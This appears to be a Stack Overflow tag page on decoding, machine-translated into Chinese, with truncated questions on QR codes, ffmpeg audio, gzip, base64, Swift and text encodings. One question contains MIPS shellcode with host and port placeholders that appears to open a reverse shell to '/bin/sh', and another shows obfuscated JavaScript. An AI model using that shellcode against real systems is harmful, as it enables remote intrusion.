我正在尝试读取 USB 相机获取的图像中的二维码。在其他帖子中，我读到最好的开源库是 ZXing。
如果二维码来自数字生成的图像，则库工作正常，但如果二维码来自图像由相机获取的真实情况，则解码库会遇到一些困难。
所获取的图像会受到一些眩光、代码变形或对比度缓慢的干扰。
您知道一些参数可以更好地设置阅读器吗？或者在详细说明之前添加一些过滤器到图像中？
例如：
BarcodeReader reader = new BarcodeReader();
reader.AutoRotate = true;
reader.Options.TryHarder = true;
reader.Options.PureBarcode = false;
reader.Options.PossibleFormats = new List<BarcodeFormat>();
reader.Options.PossibleFormats.Add(BarcodeFormat.QR_CODE);
var result = reader.Decode(image);
谢谢
我使用 ffmpeg 的 avcodec 从我的 C++ 应用程序中的音乐文件中检索原始音频样本。对于我测试的文件，这些文件样本的字节序似乎是小字节序，但我想知道对于我尝试解码的所有文件是否总是如此（即来自 ffmpeg 的实现或至少它的体系结构 -具体是因为我的计算机的体系结构使用小字节序）。如果没有，我认为这将取决于特定文件的编码格式。在这种情况下，我如何检查我正在解码的每个文件适用哪种字节序？我在文档中找不到任何相关信息。
zlib我正在尝试使用和解码 gzip 压缩的字符串jruby。这是最小的工作示例。
require 'stringio'
require 'zlib'
str = 'H4sIAAAAAAAA/y2NwQrDIBAFfyXstUbWNWrir5RSrEoQUi2JOZSQf6+EHt8wzDtgKd7VVPIG9n7AMwWwYhj1MBkkwtEwcN7vq/NfsAo5MnhFt6Y8g71WcDXW9I5ggVCYHqlH0xE12RJ1N5SIwGBpJ3UPTVOKa41IssGS5z+Vhhs1SdHo9okxXPXzcf4AY45Ve6EAAAA='
input = StringIO.new(str)
puts Zlib::GzipReader.new(input).read
这是我得到的输出
/Users/duke/.rvm/rubies/jruby-1.7.23/bin/jruby --1.9 -e $stdout.sync=true;$stderr.sync=true;load($0=ARGV.shift) /Users/duke/RubymineProjects/untitled/gzip_test.rb
Zlib::GzipFile::Error: not in gzip format
initialize at org/jruby/ext/zlib/JZlibRubyGzipReader.java:156
new at org/jruby/ext/zlib/JZlibRubyGzipReader.java:85
(root) at /Users/duke/RubymineProjects/untitled/gzip_test.rb:6
load at org/jruby/RubyKernel.java:1059
(root) at -e:1
Process finished with exit code 1
gzip 压缩的字符串有效。您可以在这里尝试http://www.txtwizard.net/compression
我正在编写一个从设备接收 Base 64 字符串的程序。该字符串是一个编码的 json 文件，我想这样解释它。
\n\n如果我这样做（使用 python base64 库）：
\n\ndecoded = base64.decodestring(base64str) \nprint(decoded) \n然后它打印出一堆乱码，因为原始数据不是字符串，而是文件。
\n\n我可以看到乱码之间的文件名，所以我想我正确接收了数据，但需要将其直接解释为文件而不是字符串。
\n\n我环顾四周并没有成功。尝试将字符串保存到文件中显然只会将所有乱码保存到文件中
\n\n我将非常感谢您帮助如何做到这一点！
\n\n64 进制字符串：
\n\n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\n“解码”的字符串：
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\xef\xbf\xbd?7\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbdP\xef\xbf\xbd_ A!\xef\xbf\xbd_ A …在开始编写音频混合代码之前，我正在寻求有关 ffmpeg 如何在帧中存储解码的音频数据的说明。AVFrame有int format和uint8_t* data[]成员。如果我的理解是正确的，那么在使用它之前应该将其中的字节data转换为正确的类型。format因此，要做一个简单的 2 倍级别提升 if format == AV_SAMPLE_FMT_S16，我会：
int16_t* audio_samples = frame->data[0];
int num_samples = frame->nb_samples * frame->channels;
for (int i = 0; i < num_samples; ++i) {
audio_samples[i] = audio_samples[i] * 2;
}
这是正确的处理方式吗？
我得到的这个脚本似乎被混淆了，并且原始程序员无法访问。我尝试了很多方法来解码它，但我得到的最好的方法是没有多大意义的变量和函数。
有人可以为我提供一些帮助吗？
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Vue({'\x65\x6c':_0x13ebaf[_0x2ba7('\x30\x78\x32\x35')],'\x64\x61\x74\x61':_0x5b2666,'\x6d\x65\x74\x68\x6f\x64\x73':{'\x6c\x6f\x67\x6f\x75\x74':function(){var _0x18b8e6={};_0x18b8e6[_0x2ba7('\x30\x78\x66')]=_0x13ebaf[_0x2ba7('\x30\x78\x64')];chrome[_0x2ba7('\x30\x78\x34\x30')][_0x2ba7('\x30\x78\x33\x37')](_0x18b8e6);},'\x6c\x6f\x67\x69\x6e':function(_0xcd676a){var _0x27c34c='\x34\x7c\x31\x7c\x32\x7c\x30\x7c\x33'[_0x2ba7('\x30\x78\x34\x33')]('\x7c');var _0x1420a9=0x0;while(!![]){switch(_0x27c34c[_0x1420a9++]){case'\x30':var …我有一些 shellcode，当我转换为 ascii 时，它不会输出文本，它只是乱码。
\x24\x11\xff\xff\x24\x04\x27\x0f\x24\x02\x10\x46\x01\x01\x01\x0c\x1e\x20\xff\xfc\x24\x11\x10\x2d\x24\x02\x0f\xa2\x01\x01\x01\x0c\x1c\x40\xff\xf8\x24\x0f\xff\xfa\x01\xe0\x78\x27\x21\xe4\xff\xfd\x21\xe5\xff\xfd\x28\x06\xff\xff\x24\x02\x10\x57\x01\x01\x01\x0c\xaf\xa2\xff\xff\x8f\xa4\xff\xff\x34\x0f\xff\xfd\x01\xe0\x78\x27\xaf\xaf\xff\xe0\x3c\x0e + lport +\x35\xce + lport +\xaf\xae\xff\xe4\x3c\x0e + lhost[:2] +\x35\xce + lhost[2:4] +\xaf\xae\xff\xe6\x27\xa5\xff\xe2\x24\x0c\xff\xef\x01\x80\x30\x27\x24\x02\x10\x4a\x01\x01\x01\x0c\x24\x0f\xff\xfd\x01\xe0\x78\x27\x8f\xa4\xff\xff\x01\xe0\x28\x21\x24\x02\x0f\xdf\x01\x01\x01\x0c\x24\x10\xff\xff\x21\xef\xff\xff\x15\xf0\xff\xfa\x28\x06\xff\xff\x3c\x0f\x2f\x2f\x35\xef\x62\x69\xaf\xaf\xff\xec\x3c\x0e\x6e\x2f\x35\xce\x73\x68\xaf\xae\xff\xf0\xaf\xa0\xff\xf4\x27\xa4\xff\xec\xaf\xa4\xff\xf8\xaf\xa0\xff\xfc\x27\xa5\xff\xf8\x24\x02\x0f\xab\x01\x01\x01\x0c
我尝试使用相同的输出以多种方式对其进行解码，还有其他方法可以对其进行解码吗？
我有一个arraywith 类型[NotificationTriggers]，我想存储在userdefaults. 为此，数据需要是encoded和decoded。我在这里遵循了教程：
https://cocoacasts.com/ud-5-how-to-store-a-custom-object-in-user-defaults-in-swift
和这里：
但我仍然收到一个我似乎无法解决的错误。
我有一个我在变量的 get 和 set 中施展魔法extension的userDefaults地方。NotificationTriggers Struct看起来像这样：
struct NotificationTriggers: Equatable, Codable {
var doorName: String
var notificationTrigger: String
}
Encoding似乎工作，但在decoding我得到一个error说法
无法将“[Any]”类型的值转换为预期的参数类型“Data”
这是代码：
extension UserDefaults {
var notificationTrigger: [NotificationTriggers] {
get {
if let data = self.array(forKey: UserDefaultsKey.notificationTrigger.rawValue) {
do {
let decoder = JSONDecoder()
//CODE BELOW PRODUCE ERROR
if let decodedData = try …我想在python中从windows-1252转换为utf-8，我写了这样的代码：
def encode(input_file, output_file):
f = open(input_file, "r")
data = f.read()
f.close()
# Convert from Windows-1252 to UTF-8
encoded = data.encode('Windows-1252').decode('utf-8')
with safe_open_w(output_file) as f:
f.write(encoded)
但我有这个错误：
encoded = data.encode('Windows-1252').decode('utf-8')
UnicodeDecodeError: 'utf-8' codec can't decode byte 0xe8 in position 5653: invalid continuation byte
我尝试使用此元标记转换 html：
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
我正在尝试解码通过tcp连接接收的数据.数据包很小,不超过100个字节.然而,当它们中有很多时我会收到一些连接在一起的数据包.有没有办法防止这种情况发生.我正在使用python
我试图分开数据包,我的来源如下.数据包以STX字节开头,以ETX字节结束,STX后面的字节是数据包长度(数据包长度小于5无效)校验和是ETX之前的最后一个字节
def decode(data):
while True:
start = data.find(STX)
if start == -1: #no stx in message
pkt = ''
data = ''
break
#stx found , next byte is the length
pktlen = ord(data[1])
#check message ends in ETX (pktken -1) or checksum invalid
if pktlen < 5 or data[pktlen-1] != ETX or checksum_valid(data[start:pktlen]) == False:
print "Invalid Pkt"
data = data[start+1:]
continue
else:
pkt = data[start:pktlen]
data = data[pktlen:]
break
return data , pkt
我这样用它
#process reports
try: …decoding ×10
python ×3
audio ×2
encoding ×2
ffmpeg ×2
c ×1
c# ×1
c++ ×1
encryption ×1
file ×1
gzip ×1
ios ×1
javascript ×1
jruby ×1
libavcodec ×1
linux ×1
obfuscation ×1
packets ×1
qr-code ×1
ruby ×1
shellcode ×1
string ×1
swift ×1
tcp ×1
userdefaults ×1
utf-8 ×1
windows-1252 ×1
zlib ×1
zxing ×1